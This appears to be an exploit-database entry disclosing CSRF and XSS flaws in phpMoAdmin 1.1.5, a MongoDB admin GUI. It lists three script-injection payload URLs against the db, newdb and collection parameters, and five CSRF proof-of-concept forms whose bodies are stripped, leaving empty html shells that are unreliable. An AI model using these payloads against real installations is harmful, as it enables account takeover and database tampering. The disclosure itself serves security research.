发布 2019-01-07 漏洞条目

phpMoAdmin MongoDB GUI 1.1.5 – Cross-Site Request Forgery / Cross-Site Scripting

Exploit Source

##################################################################################################################################

# Exploit Title: phpMoAdmin 1.1.5 - MongoDB GUI | Multiple Vulnerabilities

# Date: 03.01.2019

# Exploit Author: Ozer Goker

# Vendor Homepage: http://www.phpmoadmin.com

# Software Link: http://www.phpmoadmin.com/file/phpmoadmin.zip

# Version: 1.1.5

##################################################################################################################################

Introduction

phpMoAdmin - MongoDB GUI

MongoDB administration tool for PHP

Vulnerabilities: CSRF | XSS Reflected & Stored

CSRF details:

#################################################################################

CSRF1

Create Database

<html>

<body>

</form>

</body>

</html>

#################################################################################

CSRF2

Drop Database

<html>

<body>

</form>

</body>

</html>

#################################################################################

CSRF3

Repair Database

<html>

<body>

</form>

</body>

</html>

#################################################################################

CSRF4

Add New Collection

<html>

<body>

</form>

</body>

</html>

#################################################################################

CSRF5

Drop Collection

<html>

<body>

</form>

</body>

</html>

#################################################################################

XSS details:

#################################################################################

XSS1 | Reflected

URL

http://localhost/phpmoadmin/moadmin.php?db=admin%3Cscript%3Ealert(1)%3C/script%3E

METHOD

Get

PARAMETER

PAYLOAD

#################################################################################

XSS2 | Reflected

URL

http://localhost/phpmoadmin/moadmin.php?db=new.database&newdb=testdb%3Cscript%3Ealert(2)%3C/script%3E

METHOD

Get

PARAMETER

newdb

PAYLOAD

#################################################################################

XSS3 | Stored

URL

http://localhost/phpmoadmin/moadmin.php?collection=%3Cscript%3Ealert%283%29%3C%2Fscript%3E&action=createCollection&db=testdb

METHOD

Get

PARAMETER

collection

PAYLOAD

#################################################################################

作者: Ozer Goker
日期: 2019-01-07
类别: webapps
平台: php

相关漏洞条目

Prodigy Commerce 3.3.0 – Local File Inclusion

Langflow 1.3.0 – Remote Code Execution

Quick Playground for WordPress 1.3.1 – Unauthenticated Remote Code Execution

MikroORM 7.0.13 – SQL Injection